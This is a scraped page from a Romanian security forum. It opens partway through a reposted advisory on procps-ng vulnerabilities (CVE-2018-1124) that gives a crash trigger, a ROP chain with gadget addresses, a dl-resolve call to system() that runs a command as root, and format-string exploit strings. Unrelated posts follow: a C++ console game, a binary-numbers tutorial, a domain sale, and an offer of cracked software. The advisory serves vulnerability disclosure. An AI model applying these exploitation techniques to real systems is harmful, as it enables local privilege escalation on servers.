outbuf; but not in escape_str_utf8(): 36 static int escape_str_utf8(char *restrict dst, const char *restrict src, int bufsize, int *maxcells){ .. 50 if (!(len = mbrtowc (&wc, src, MB_CUR_MAX, &s))) .. 78 int wlen = wcwidth(wc); .. 100 memcpy(dst, src, len); 101 my_cells += wlen; 102 dst += len; 103 my_bytes += len; 104 src += len; For example, in the "en_US.UTF-8" locale, the multibyte sequence "\xf4\x81\x8e\xb6" consumes 4 bytes, but only 1 cell, and an easy trigger for one of the outbuf overflows is: $ (A=`python -c 'print "\xf4\x81\x8e\xb6" * 32767'` exec -a `python -c 'print "A" * 65535'` sleep 60) & [1] 2670 # env LANG=en_US.UTF-8 ps awwe PID TTY STAT TIME COMMAND ... Signal 11 (SEGV) caught by ps (procps-ng version 3.3.10). 2670 pts/0 S 0:00ps:display.c:66: please report this bug Segmentation fault This buffer overflow is a denial of service only (not an LPE), because ps mmap()s outbuf and mprotect()s its last page with PROT_NONE (an effective guard page): 2147 void init_output(void){ .... 2164 outbuf = mmap( 2165 0, 2166 page_size * (outbuf_pages+1), // 1 more, for guard page at high addresses 2167 PROT_READ | PROT_WRITE, 2168 MAP_PRIVATE | MAP_ANONYMOUS, 2169 -1, 2170 0 2171 ); .... 2174 mprotect(outbuf + page_size*outbuf_pages, page_size, PROT_NONE); // guard page ======================================================================== 5. Local Privilege Escalation in libprocps (CVE-2018-1124) ======================================================================== ======================================================================== 5.1. Vulnerability ======================================================================== libprocps's file2strvec() function parses a process's /proc/PID/cmdline (or /proc/PID/environ), and creates an in-memory copy of this process's argv[] (command-line argument strings, and pointers to these strings). file2strvec() is called when either PROC_FILLCOM or PROC_FILLARG, but not PROC_EDITCMDLCVT, is passed to openproc() or readproctab() (or PROC_FILLENV but not PROC_EDITENVRCVT). file2strvec() is vulnerable to three integer overflows (of "tot", "c", and "tot + c + align"): 660 static char** file2strvec(const char* directory, const char* what) { 661 char buf[2048]; /* read buf bytes at a time */ 662 char *p, *rbuf = 0, *endbuf, **q, **ret; 663 int fd, tot = 0, n, c, end_of_file = 0; 664 int align; ... 670 /* read whole file into a memory buffer, allocating as we go */ 671 while ((n = read(fd, buf, sizeof buf - 1)) >= 0) { ... 686 rbuf = xrealloc(rbuf, tot + n); /* allocate more memory */ 687 memcpy(rbuf + tot, buf, n); /* copy buffer into it */ 688 tot += n; /* increment total byte ctr */ ... 697 endbuf = rbuf + tot; /* count space for pointers */ 698 align = (sizeof(char*)-1) - ((tot + sizeof(char*)-1) & (sizeof(char*)-1)); 699 for (c = 0, p = rbuf; p < endbuf; p++) { 700 if (!*p || *p == '\n') 701 c += sizeof(char*); ... 705 c += sizeof(char*); /* one extra for NULL term */ 706 707 rbuf = xrealloc(rbuf, tot + c + align); /* make room for ptrs AT END */ To the best of our knowledge, the integer overflows of "c" and "tot + c + align" are not exploitable beyond a denial of service: they result in an mmap-based buffer overflow of rbuf, but with pointers only (pointers to our command-line argument strings, and a NULL terminator). Similarly, we were unable to exploit the integer overflow of "tot" on 32-bit. On 64-bit, however, the integer overflow of "tot" results in a memcpy() of arbitrary bytes (our command-line arguments) to an offset of roughly -2GB below rbuf. Surprisingly, the "xrealloc(rbuf, tot + n)" before the memcpy() does not exit() when "tot" becomes negative, because xrealloc() incorrectly uses an "unsigned int size" argument instead of a size_t (CVE-2018-1126): 66 void *xrealloc(void *oldp, unsigned int size) { ======================================================================== 5.2. Exploitation ======================================================================== To exploit the integer overflow of "tot" on 64-bit, we are faced with several difficulties: - We must defeat NX, ASLR, PIE, full RELRO, SSP (Stack-Smashing Protector), and FORTIFY. - Our exploit must be one-shot, or as close to one-shot as possible: we may use brute-force if the target procps-ng utility is executed by a script, but we have only one chance to exploit this vulnerability if the target utility is executed manually by an administrator. - We have no control over the target utility's command-line arguments, environment variables, or resource limits (it is executed by another user, administrator, or script), and we have no direct channel for an information leak (we have no access to the target utility's output, for example). - We were unable to exploit the integer overflow of "tot" when rbuf is mmap()ed (but we were also unable to prove that it is unexploitable); when the integer "tot" overflows, rbuf is an mmap()ed chunk (its size is roughly 2GB), and because Linux's mmap() is a top-down allocator, we believe that: . rbuf must be allocated in a hole of the mmap-space (to survive the memcpy() at a negative offset below rbuf); . it is impossible to make such a large hole (in procps-ng, calls to the malloc functions are extremely rare). Despite these difficulties, we developed proof-of-concept exploits against the procps-ng utility "w" on Ubuntu 16.04 (a one-shot exploit against a partial RELRO, non-PIE w), Debian 9 and Fedora 27 (a nearly one-shot exploit against a full RELRO, PIE w): if we first force "w" to malloc()ate n_mmaps_max = 64K mmap()ed chunks (whose size is larger than mmap_threshold = 128KB), then malloc() will not call mmap() anymore, but will call brk() instead, even for chunks larger than mmap_threshold. The 2GB rbuf (after the integer overflow of tot) will therefore be allocated on the heap by brk(), and because brk() is a bottom-up allocator, we can easily arrange for the memcpy() at rbuf - 2GB to overwrite the beginning of the heap: - if w is not a PIE, we overwrite libprocps's internal PROCTAB structure and its function pointers; - if w is a PIE, we overwrite the glibc's internal *gettext() structures and transform this memory corruption into a format-string exploit. To force 64K allocations of 128KB (8GB) in w, we need 64K distinct PIDs (each /proc/PID/cmdline allocates 128KB in file2strvec()): consequently, /proc/sys/kernel/pid_max must be greater than 64K (it is 32K by default, even on 64-bit). This is not an unusual setting: large servers (database servers, container and storage platforms) commonly increase the value of pid_max (up to 4M on 64-bit). Besides pid_max, other settings may limit our ability to spawn 64K processes: /proc/sys/kernel/threads-max, RLIMIT_NPROC, and systemd-logind's UserTasksMax. Unlike pid_max, however, these limits are not insuperable obstacles: - they may be naturally greater than 64K, depending on the total number of RAM pages (for /proc/sys/kernel/threads-max and RLIMIT_NPROC) or the value of pid_max (for UserTasksMax); - they may not apply to the attacker's user account (for example, systemd-logind may not at all manage this specific user account); - in any case, we do not need to spawn 64K concurrent processes: if we use /proc/PID/cmdline as a FUSE-backed synchronization tool, we need only a few concurrent processes. ======================================================================== 5.3. Exploitation details ======================================================================== Our proof-of-concept exploit spawns five different types of processes ("main", "mmap", "dist", "wrap", and "srpt"): - a long-lived "main" process, which spawns and coordinates the other processes; - 64K long-lived "mmap" processes, which guarantee that the ~2GB rbufs of our "dist" and "wrap" processes are allocated by brk() in the heap of our future "w" target; the "mmap" processes occupy the lowest PIDs available, to avoid interference from other processes with the heap layout of w; - a long-lived "dist" ("distance") process, whose /proc/PID/cmdline is carefully constructed to cover the exact distance between our target structure (at the beginning of w's heap) and the rbuf of our "wrap" process (at the end of w's heap); - a long-lived "wrap" ("integer wrap") process, which overflows the integer "tot" and overwrites our target structure at the beginning of w's heap (with the memcpy() at rbuf - 2GB); - short-lived "srpt" ("simulate readproctab") processes, which measure the exact distance between our target structure (at the beginning of w's heap) and the rbuf of our "wrap" process (at the end of w's heap); because this distance depends on an accurate list of processes running on the system, our exploit regularly spawns "srpt" processes until the distance stabilizes (it is particularly unstable after a reboot). We use a few noteworthy tricks in this exploit: - we do not fork() but clone() the "mmap" processes (we use the flags CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | CLONE_SIGHAND, but not CLONE_THREAD, because each process must have its own /proc/PID entry): this is much faster, and significantly reduces the memory consumption of our exploit (the target "w" process itself already consumes over 12GB = 64K*128KB + 2GB + 2GB -- the rbufs for the "mmap", "dist", and "wrap" processes); - we analyze the ~2GB command-line argument strings of our "dist" and "wrap" processes, to detect repeated patterns and replace them with our equivalent file-backed mmap()s (this further reduces the memory consumption of the exploit); moreover, we replace the argv[] pointers of these processes with PROT_NONE mmap()s (hundreds of megabytes that are never accessed); - we initially simulated readproctab() with our own exploit code, but eventually switched to a small LD_PRELOAD library that instruments the real "w" utility and provides more accurate measurements. There is much room for improvement in this proof-of-concept exploit: for example, it depends on the exact distance between our target structure (at the beginning of w's heap) and the rbuf of our "wrap" process (at the end of w's heap), but this distance is hard to measure inside a container, because processes running outside the container are not visible inside the container (brute-force may be a solution if the target utility is executed by a script, but not if it is executed manually by an administrator; better solutions may exist). ======================================================================== 5.4. Non-PIE exploitation ======================================================================== In this section, we describe our simplest proof-of-concept exploit, against the non-PIE "w" on Ubuntu 16.04: we overflow the integer "tot" in file2strvec(), we overwrite the PROCTAB structure and its function pointers, and we jump into the executable segment of w. However, w is very small and contains no useful gadgets, syscall instructions, or library calls. Instead, we use a technique pioneered by Nergal in http://phrack.org/issues/58/4.html ("5 - The dynamic linker's dl-resolve() function"): We jump to the very beginning of w's PLT (Procedure Linkage Table), which calls _dl_runtime_resolve() and _dl_fixup() with a "reloc_arg" that we control (it is read from the stack) and that indexes our own fake Elf64_Rela structure (in w's heap), which in turn indexes a fake Elf64_Sym structure, which in turn indexes a string that we control and that allows us to call any library function, by name (even if it does not appear in w's PLT). The obvious choice here is the "system" function: - the RDI register (the first argument of the function pointer that we overwrote, and hence the command argument of system()) points to the PROCTAB structure, whose contents we control; - we do not need to worry about the privilege dropping of /bin/sh, because w is not a set-user-ID executable. Finally, we must solve two practical problems to use this dynamic-linker technique against w: - our fake ELF structures are located in the heap, but indexed from the executable, and a random gap separates the heap from the executable: we therefore allocate four large areas in the heap (large enough to defeat the randomization of the heap), one for each of our fake structures (Elf64_Rela, Elf64_Sym, "system", and ndx for symbol versioning); - malloc guarantees a 16-byte alignment, but Elf64_Rela and Elf64_Sym are 24-byte structures: luckily, the last 8 bytes of these structures are unused, and we therefore truncate our fake structures to 16 bytes. For example, on Ubuntu 16.04.4, we overwrite the PROCTAB structure with the following ROP chain: procfs taskdir tdu df finder reader tfinder |--------|--------|----+---|--------|--------|--------|------|--------|--------| | id>>/tmp/w.$$ |000|0x4020bb|0x4029db|0x401100| .... |relocarg|0x402a50| |--------|--------|----+---|--------|--------|--------|------|--------|--------| 0xffb8 bytes - the first gadget that we execute, 0x4020bb, pivots the stack pointer to RDI (which points to the very beginning of the PROCTAB structure): "push rdi; ...; pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;" - the second gadget that we execute, 0x4029db, increases the stack pointer by 0xffb8 bytes (it would otherwise crash into the beginning of the heap, because the stack grows down): "ret 0xffb8;" - the third gadget that we execute, 0x401100, calls _dl_runtime_resolve() and _dl_fixup() with our own "relocarg" (this effectively calls system() with the command located at RDI, "id>>/tmp/w.$$"): 401100: ff 35 02 2f 20 00 pushq 0x202f02(%rip) 401106: ff 25 04 2f 20 00 jmpq *0x202f04(%rip) - the fourth gadget that we execute, 0x402a50, makes a clean exit: 402a50: bf 01 00 00 00 mov $0x1,%edi 402a55: e8 36 e7 ff ff callq 401190 <_exit@plt> $ ./w-exploit-Non-PIE positive_tot 2147482113 distance_tot 2147482112 distance 12024752 ... distance 12024752 off 279917264 ver_beg 2e26ce0 ver_end 5426ce0 rel_beg 15f19fb0 rel_end 18519fb0 str_beg 2900d280 str_end 2b60d280 sym_beg 3c100570 sym_end 3e700570 reloc_arg 16957128 nentries 5 POSITIVE_TOT 2147482113 DISTANCE_TO_PT 1 negwrite_off 2147485183 nentries 1 ready Then, if an administrator executes w: # cat /tmp/w.* cat: '/tmp/w.*': No such file or directory # w # cat /tmp/w.* uid=0(root) gid=0(root) groups=0(root) ======================================================================== 5.5. PIE exploitation ======================================================================== In this section, we describe our proof-of-concept exploit against the PIE "w" on Debian 9 and Fedora 27. The first technique that we tried, a partial overwrite of a function pointer in the PROCTAB structure, does not work: - we are limited to a 2-byte overwrite, or else we lose the "one-shot" quality of our exploit (we must brute-force the random bits that we overwrite); - the original function pointer refers to a piece of code in libprocps that offers a very limited choice of gadgets; - file2strvec() ends our command-line argument strings (which overwrite the function pointer) with a null byte, and further reduces the number of available gadgets. Our second, working technique is derived from halfdog's fascinating https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and transforms libprocps's integer overflow and memory corruption into a format-string exploit: - we overwrite the dirname pointer to "/usr/share/locale" (a member of the struct binding malloc()ated at the very beginning of w's heap by bindtextdomain()) with a pointer to "/tmp" -- we do not need to worry about ASLR, because we arrange for file2strvec() to overwrite dirname with a pointer to our command-line argument strings; alternatively, we could overwrite the "procps-ng" string (malloc()ated at the beginning of w's heap by textdomain()), but this would also overwrite the chunk header of the struct PROCTAB, and would cause a crash in closeproc(); - we thereby control the translation strings returned by the *gettext() functions and the _() macro (the overwritten dirname pointer is used to construct the names of the translation files ".mo") and therefore control two format-strings in w's main(): 591 printf(_("%-*s TTY "), userlen, _("USER")); ... 595 printf(_(" LOGIN@ IDLE JCPU PCPU WHAT\n")); - we exploit the first format-string to create a pointer to a saved RIP on the stack, and we write this pointer to the stack itself; - we use this pointer, and the second format-string, to overwrite the saved RIP with the address of a useful libc gadget (we return into popen() on Debian 9, and wordexp() on Fedora 27). However, unlike halfdog, we cannot defeat ASLR by simply dumping the contents of the stack with a format-string, because we have not access to the output of "w" (it is executed by another user, administrator, or script). Instead, we implement Chris Evans's "read-add-write" primitive https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html ("Trick #6: co-opting an addition primitive") with format-strings only. With the first format-string: - we "read" the LSW (Least Significant Word, 32 bits) of a stack pointer that is located on the stack itself and hence accessible through the format-string arguments -- for example, the argv pointer; - we "add" a distribution-specific constant to this LSW, to make it point to a saved RIP on the stack -- for example, the saved RIP pushed onto the stack by the call to printf_positional() in vfprintf(); - we "write" this modified LSW to the LSW of another stack pointer that is also located on the stack itself and hence accessible through the format-string arguments -- for example, the argv[0] pointer. With the second format-string: - we "read" the LSW of a libc pointer that is located on the stack and hence accessible through the format-string arguments -- for example, the pointer to __libc_start_main(); - we "add" a distribution-specific constant to this LSW, to make it point to a useful libc gadget -- for example, popen() or wordexp(); - we "write" this modified LSW to the LSW of a saved RIP on the stack: we use the pointer (to the saved RIP) created on the stack by the first format-string. To implement the "read-add-write" primitive: - we "read" the LSW of a pointer (we load it into vfprintf's internal character counter) through a variable-width specifier such as "%*R$x", where R is the position (among the format-string arguments on the stack) of the to-be-read pointer; - we "add" a constant A to this LSW through a constant-width specifier such as "%Ax"; - we "write" this modified LSW to the LSW of another pointer through a specifier such as "%W$n", where W is the position (among the format- string arguments on the stack) of a pointer to the to-be-overwritten pointer (for example, in our first format-string we overwrite the LSW of the argv[0] pointer through the argv pointer, and in our second format-string we overwrite the LSW of a saved RIP through the overwritten argv[0] pointer); in summary: . if we want to "add" a constant to the LSW that we "read", we use a simple format-string such as "%*R$x%Ax%W$n", where A is equal to the constant that we want to add; . if we want to "subtract" a constant from the LSW that we "read", we use a format-string such as "%*R$x%W$n%Ax%W$hn", where A is equal to 65536 minus the constant that we want to subtract (the smaller the constant, the higher the probability of success). This generic technique defeats NX, ASLR, PIE, SSP, and FORTIFY, but it suffers from three major drawbacks: - it requires two different format-strings, because it must reset vfprintf's internal character counter between the two "read-add-write" primitives; - its probability of success is 1/4 (not a one-shot, but not a brute-force either), because the probability of success of each "read-add-write" primitive is 1/2 (the randomized LSW that is "read" as an "int width" must be positive), and the stack is randomized independently of the libc; - it outputs 2*1GB on average (2*2GB at most): this may be acceptable if the target utility is executed by a script or daemon, but not if it is executed manually by an administrator (terminal escape sequences may be used to overcome this drawback, but we did not explore this possibility yet). It is also possible to implement distribution-specific variants of this generic technique: for example, we developed a Debian-specific version of our "w" exploit that requires only one format-string, has an 11/12 probability of success (nearly one-shot), and outputs only a few kilobytes. This is left as an exercise for the interested reader. # 0day.today [2018-05-31] # Source: 0day.today
    1 point
  12. Mai bine dadeai o laba trista in astea doua minute pe care le-ai folosit pentru a scrie reply-ul, macar aveai sanse sa fii satisfacut.
    1 point
  13. Cumpara carti gen: programarea pentru incepatori, instaleaza o versiune de linux care iti place, cumpara culegere de fizica, matematica - te ajuta foarte mult, tutoriale pe internet - ai pe forum coduri pentru udemy, pe filelist tutoriale, du-te la olimpiade de fizica si matematica, cand vrei sa dai mai departe la liceu alege profilul Mate - Info intensiv, invata limba engleza, lasa prieteni de la care nu ai nimic de invatat, petrecerile, invata si ceva electronica etc, lista poate continua. Pentru inceput este bine, am vazut cum ai scris si pus semnele de punctuatie, probabil scrii foarte mult la PC si de aici ti-a intrat in mana, este bine asta.
    1 point
  14. Nu ai ce invata pana nu ajungi la liceu.
    1 point
  15. Salut RST, sunt nou pe forum si m-am gandit sa creez primul meu topic cu un program 'easy, intrucat foarte multi tineri de liceu doresc sa creeze un joculet intr-o consola si nu au nicio idee despre aceasta. Tehnica mea presupune urmatorul lucru, ci anume nu apelam functia de sistem: system("cls"), pentru a putea da refresh la consola, ci pur si simplu parcurgem fiecare caracter mutand practic pozitia cursorului din consola. Pentru a putea crea o mica grafica la jocul nostru, putem foarte bine sa afisam o matrice cu N linii si M coloane dupa care utilizand tehnica de mai sus putem strabate fiecare caracter din matricea noastra fara a mai da refresh la consola. De asemenea puteti utiliza aceasta tehnica si pentru a putea crea diverse jocuri cum ar fi snake, chiar si mario utilizand codul ASCII Si pentru ca tot am abordat subiectul Mario, lansez un challenge pentru tinerii din liceu cu aceasta tema, utilizand tehnica mea descrisa mai sus PS: "Codul a fost compilat cu succes in code blocks, daca doriti sa-l compilati in alt editor, atunci trebuie sa rezolvati pe cont prorpiu erorile aparute" #include <iostream> #include <windows.h> #define LINE 20 #define COLUMN 40 #define BLACK 0 #define GRAY 8 #define BLUE 1 #define LIGHTBLUE 9 #define AQUA 3 #define LIGHTAQUA 11 #define RED 4 #define LIGHTRED 12 #define PURPLE 5 #define LIGHTPURPLE 13 #define YELLOW 6 #define LIGHTYELLOW 14 #define WHITE 7 #define LIGHTWHITE 15 #define GREEN 2 #define LIGHTGREEN 10 using namespace std; char MAP[LINE][COLUMN] = {"#######################################", "# #", "# #", "# #", "# #", "# #", "# #", "# @ #", "# #", "# #", "# #", "# #", "# #", "# #", "# #", "# #", "# #", "#######################################"}; void gotox(int x, int y) { COORD coord; coord.X = y; coord.Y = x; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), coord); } void ShowConsoleCursor(bool showFlag) { HANDLE out = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_CURSOR_INFO cursorInfo; GetConsoleCursorInfo(out, &cursorInfo); cursorInfo.bVisible = showFlag; // set the cursor visibility SetConsoleCursorInfo(out, &cursorInfo); } char getCursorChar() /// Function which returns character on console's cursor position || Totally not copied from the Internet { char c = '\0'; CONSOLE_SCREEN_BUFFER_INFO con; HANDLE hcon = GetStdHandle(STD_OUTPUT_HANDLE); if (hcon != INVALID_HANDLE_VALUE && GetConsoleScreenBufferInfo(hcon,&con)) { DWORD read = 0; if (!ReadConsoleOutputCharacterA(hcon,&c,1, con.dwCursorPosition,&read) || read != 1 ) c = '\0'; } return c; } char readChar(int x,int y) /// Function which reads character at specific coordinates { gotox(x,y); char ccccc = getCursorChar(); return ccccc; } void setColor(WORD c) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), c); } void out(char* t, WORD c) { setColor(c); cout<<t; setColor(LIGHTWHITE); } void oout(char t, WORD c) { setColor(c); cout<<t; setColor(LIGHTWHITE); } void cls() { system("cls"); } void drawGraphic(void) { cls(); for(int i=0; i<LINE; i++) { for(int j=0; j<COLUMN; j++) { switch(MAP[i][j]) { case '#': { oout(MAP[i][j], LIGHTYELLOW); }break; case ' ': { cout<<" "; }break; case '@': { oout(MAP[i][j], LIGHTRED); } } } cout<<endl; } } void setMenu(int speed, int x, int y) { gotox(0, COLUMN); setColor(LIGHTGREEN); cout<<"Speed: "<<speed<<" NUM 8 - increase slow"<<endl; gotox(1, COLUMN + 9); cout<<" NUM 2 - decrease speed"<<endl; gotox(3, COLUMN); cout<<"Position: "<<x<<" ; "<<y<<endl; gotox(5, COLUMN); cout<<"SPACE: * block"<<endl; gotox(6, COLUMN); cout<<"NUM 0: Remove all blocks"<<endl; setColor(LIGHTWHITE); } int main() { ShowConsoleCursor(false); drawGraphic(); int speed = 60; setMenu(speed, 0, 0); char player = (char)16; while(true) { for(int i=0; i<LINE; i++) { for(int j=0; j<COLUMN; j++) switch(readChar(i, j)) { case '@': { setMenu(speed, i, j); if(GetAsyncKeyState(VK_UP) != 0) { if(readChar(i-1, j) == ' ') { gotox(i, j); oout(' ', LIGHTRED); gotox(i-1, j); oout('@', LIGHTRED); } Sleep(speed - 30); } else if(GetAsyncKeyState(VK_DOWN) != 0) { if(readChar(i+1, j) == ' ') { gotox(i, j); oout(' ', LIGHTRED); gotox(i+1, j); oout('@', LIGHTRED); } Sleep(speed); } else if(GetAsyncKeyState(VK_LEFT) != 0) { if(readChar(i, j-1) == ' ') { gotox(i, j); oout(' ', LIGHTRED); gotox(i, j-1); oout('@', LIGHTRED); } Sleep(speed - 30); } else if(GetAsyncKeyState(VK_RIGHT) != 0) { if(readChar(i, j+1) == ' ') { gotox(i, j); oout(' ', LIGHTRED); gotox(i, j+1); oout('@', LIGHTRED); } Sleep(speed); } else if(GetAsyncKeyState(VK_NUMPAD8) != 0) { speed += 10; Sleep(speed); setMenu(speed, i, j); } else if(GetAsyncKeyState(VK_NUMPAD2) != 0) { if(speed <= 30) setMenu(30, i, j); else { speed -= 10; Sleep(speed); setMenu(speed, i, j); } } else if(GetAsyncKeyState(VK_SPACE) != 0) { if(readChar(i-1, j) == ' ') { gotox(i-1, j); oout('*', LIGHTBLUE); Sleep(speed); } else if(readChar(i+1, j) == ' ') { gotox(i+1, j); oout('*', LIGHTBLUE); Sleep(speed); } else if(readChar(i, j-1) == ' ') { gotox(i, j-1); oout('*', LIGHTBLUE); Sleep(speed); } else if(readChar(i, j+1) == ' ') { gotox(i, j+1); oout('*', LIGHTBLUE); Sleep(speed); } } else if(GetAsyncKeyState(VK_NUMPAD0) != 0) { if(readChar(i-1, j) != ' ') { gotox(i-1, j); oout(' ', LIGHTBLUE); Sleep(speed); } else if(readChar(i+1, j) != ' ') { gotox(i+1, j); oout(' ', LIGHTBLUE); Sleep(speed); } else if(readChar(i, j-1) != ' ') { gotox(i, j-1); oout(' ', LIGHTBLUE); Sleep(speed); } else if(readChar(i, j+1) != ' ') { gotox(i, j+1); oout(' ', LIGHTBLUE); Sleep(speed); } } else if(GetAsyncKeyState(VK_ESCAPE) != 0) { exit(0); } }break; } } } return 0; }
    1 point
  16. [+]*********Definitii*********[+] 1.Codul binar -> codul binar este limbajul calculatorului (numit si limbajul masina), format doar din doua cifre 0 si 1, acestea se memoreaza pe rand in tranzistori calculatorului. Un calculator este format din milioane de tranzistori, acesta putand citi pana si la cateva milioane de biti pe secunda. Tot ce vedem noi poze, filme, jocuri, etc. este transformat din binar in cod citibil(prin software, os)pentru ca informatia sa poata fii accesata/ vazuta. Cum lucreaza tranzistorii pentru sistemul binar ? Simplu, daca se primeste tensiune va fi primi valoarea 1, daca nu se primeste prin tranzistor va fii 0 ( adica, tensiune primita = 1, tensiune absenta =0). 2. Bit (Binary Digit). Prescurtare: b ** Termenul a fost introdus de John Wilder Tuckey. Bit-ul este o unitate de masura pentru o anumita informatie, bit-ul, deasemenea, este si cea mai mica unitate de masura pentru calculator care exista. Un bit reprezinta una dintre cifrele 0 si 1, numite cifre binare. 3. Byte Prescurtare: B Un Byte este format din 8 biti. Este folosit ca si bitul pentru masurarea cantitatii de informatie. Multiplii acestuia sunt Kb = kilobyte, MB = megabyte, GB =gigabyte, TB terabyte. [+]*********Bit&Byte*********[+] Mai multe despre Bit si Byte. 1Bit = 0/1 1Byte = 8 biti 1Kb(Kilobyte) = 1024 byte. 1MB(Megabyte) = 1024 byte 1GB(Gigabyte) = 1024 MB 1TB (Terabyte) = 1024 GB Si mai sunt inca câteva dar nu cred ca vor fii folosite prea curand in pc-urile noastre. Viteza de Internet este de asemenea masurata in megabiti/megabytes (care este un multiplu al lui bit/byte)) sau in kilobiti/kilobytes . Viteza deobicei este calculata pe secunda asa ca unitatea preferabila ar fii Mbps. Daca observatii cum am scris, am spus Mbps nu MBps aici nu este vorba de Byte este vorba de bit, de aceea multi utilizatori ajung sa fie pacaliti de catre provider cu viteze atragatoare. De exemplu, 100 Mbps este 12,5 MBps. Sa nu uitam ca b mic este prescurtarea pentru bit. http://i.imgur.com/NCtEmVB.jpg [+]*********Numaratoare binar*********[+] Mai intai, trebui mentionat, codul binar este exprimat in baza 2 in timp cea in decimal este in baza 10 Ca sa poti numara in acest sistem trebui intai sa stii cateva reguli: -Numarul incepe cu o singura pozitie (0) -Ultimul 0 intotdeauna devine 1 (1000->1001) -Daca ultimul numar este 1 se transforma in 0 si unitatea urmatoare din stanga se incrementeaza cu 1 (1001 -> 1010) -Trecerea mai departe va fii din transformarea ultimul 0 cum a zis mai sus la regula a doua in 1 (1010->1011) -Daca intregul numar este format numai din biti formati din cifra 1 se mai adauga o unitate in stanga care va fii 1 si restul cifrelor vor devenii automat 0 (1111 -> 10000) Pentru a creste la numarul urmator se transforma ultima cifra in 1 si acum avem 1001 acum daca ati vazut regula a treia il mutam cu o unitate in stanga si va fi 1010 cum am zis 1 mereu devine zero, acum ca avem 1010 ca sa crestem unde adaugam 1? La ultimul 0 din dreapta. Si va fii 1011 acum daca avem doi de 1, v-om trece cu o unitate in stanga si va deveni 1100 si acum cred ca va-ti prins. Va mai las o poza cu numerele de la 1 la 22 ca sa aveti un exemplu. http://i.imgur.com/jS3lWMQ.jpg [+]*********Baza 2 si Baza 10*********[+] Orice numar din baza2 (cod binar) corespunde unui numar din baza 10(decimal) si invers. 1. Decimal in binar (Baza10 in baza2) Transformarea unui numar decimal in număr binar se face dupa urmatoarele reguli: -Se ia numarul si se imparte la 2 si restul va fii notat. -Daca exista rest se va nota cu 1 daca nu exista cu 0 -Se repeta impartirea cu fiecare numar rezultat in parte -Cand se ajunge la 0/2 nu se va face si se va opri impartirea. -Codul binar care rezulta din restul impartirii va fii intors invers -Codul rezultat va fi reprezentantul numarului din baza 2 in baza 10 De exemplu, sa luam numarul 57, treaba va merge asa: -prima regula, il impartim la 2 57/2 = 28 si restul va fii 1 ( nu conteaza cat este restul indiferent de numar) Trecem la regula a doua, avem rest, deci il notam cu 1. Trecem la regula a doua, impartim pana la regula a treia. 57/2 = 28 Avem rest: 1 28/2 = 14 Avem rest: Nu 0 14/2 = 7 Avem rest: Nu 0 7/2 = 3 Avem rest: Da 1 3/2 = 1 Avem rest: Da 1 1/2 = 0 => Avem rest: Da 1 Si ne a dat codul binar 100111. M ai spun inca odata, nu conteaza cat rest ne ramane valoarea cu care v-om nota restul va fii tot 1, daca restul este mai mare decat 0 va fii 1, daca restul este mai mic decar 1 va fii 0. Acum v-om trece la regula a patra. V om întoarce codul binar invers 100111 => 111001 si acesta este 57 in numar binar. 2. Binar in decimal (Baza 2 in Baza 10) Sa luam, tot numarul 57 pentru a va arata, care este in baza 2: 111001. - Se inmulteste fiecare cifra binara cu puterea lui doi respectiva cifrei. - Puterile se aleg de la dreapta la stanga venind din ce in ce mai mici(Nu uitati cea mai mica valoare este 0 nu 1). Prima putere a lui 2 va fii numarul cifrelor - 1 din codul binar ( in cazul nostru sunt 6 cifre deci va fii 5 prima putere) dupa aceea decrementam fiecare putere a lui doi pentru urmatoarele cifre binare. Exemplu: 111001(2) = 1x25 + 1x24 + 1x23 + 0x22 + 0x21 + 1x20 = 32 + 16 + 8 + 1 =57(10) Indicele (2) si (10) indica baza 2 si baza 10. [+]*********SURSE*********[+] Scris de mine, la fel si mazgalelile de pe foi. Informatile sunt adunate din ce am citit eu zilele trecute, restul site urilor nu mi.le mai aduc aminte. Informatii extrase de pe : referinteit.ro Wikipedia Extra Am incercat sa spun in asa fel incat eu sa pot intelege, ca daca pot eu cu singuranta va putea si cel ce va citi acest tutorial:)) Am facut acest "tutorial " deoarece eu in ultimul timp incerc sa învăț despre cat mai multe si in domeniu acesta am gasit informatiile dar toate imprastiate pe alte site-uri si am zis ca poate fii de folos cuiva daca imi ofer notitele. Daca gasiti vreo greseala gramaticala sau de informatie va rog da-ti-mi un qoute cu greseala, nu vreau sa induc pe cineva in eroare. Daca doriti sa adaugati ceva ce credeti ca am omis, lasa ti un reply si voi adauga. Fara hate, am muncit ceva la acest turorial.
    1 point
  17. Salutare... Daca doreste cineva sa isi deschida un Magazin Online,Site de anunturi,Host sau orice altceva am un domeniu de 3 litere .ro de vanzare. Domeniul are vechime 1 an... Si pe langa asta se poate pronunta foarte usor avand avantajul ca clientii sa retina foarte usor numele domeniului respectiv al noului site. Daca vreti sa va deschideti o afacere si sa investiti bani,nu neglijati numele domeniului. Acesta are un rol foarte important... Astept oferte. Puteti sa va faceti un magazin online de ceasuri sau altfel de magazin online,host,site de anunturi etc cu acest domeniu cu potential. Astept oferte in privat,iar cine da mai mult il voi da cu cea mai mare placere. Daca nu il va cumpara nimeni pana expira,il voi reinnoii sa nu credeti ca las acest domeniu sa expire Daca nu te intereseaza,nu comenta aiurea... Update: Site-ul a fost vandut.
    -1 points
  18. DataProtector v4 CRACKED
    -1 points
×
×
  • Create New...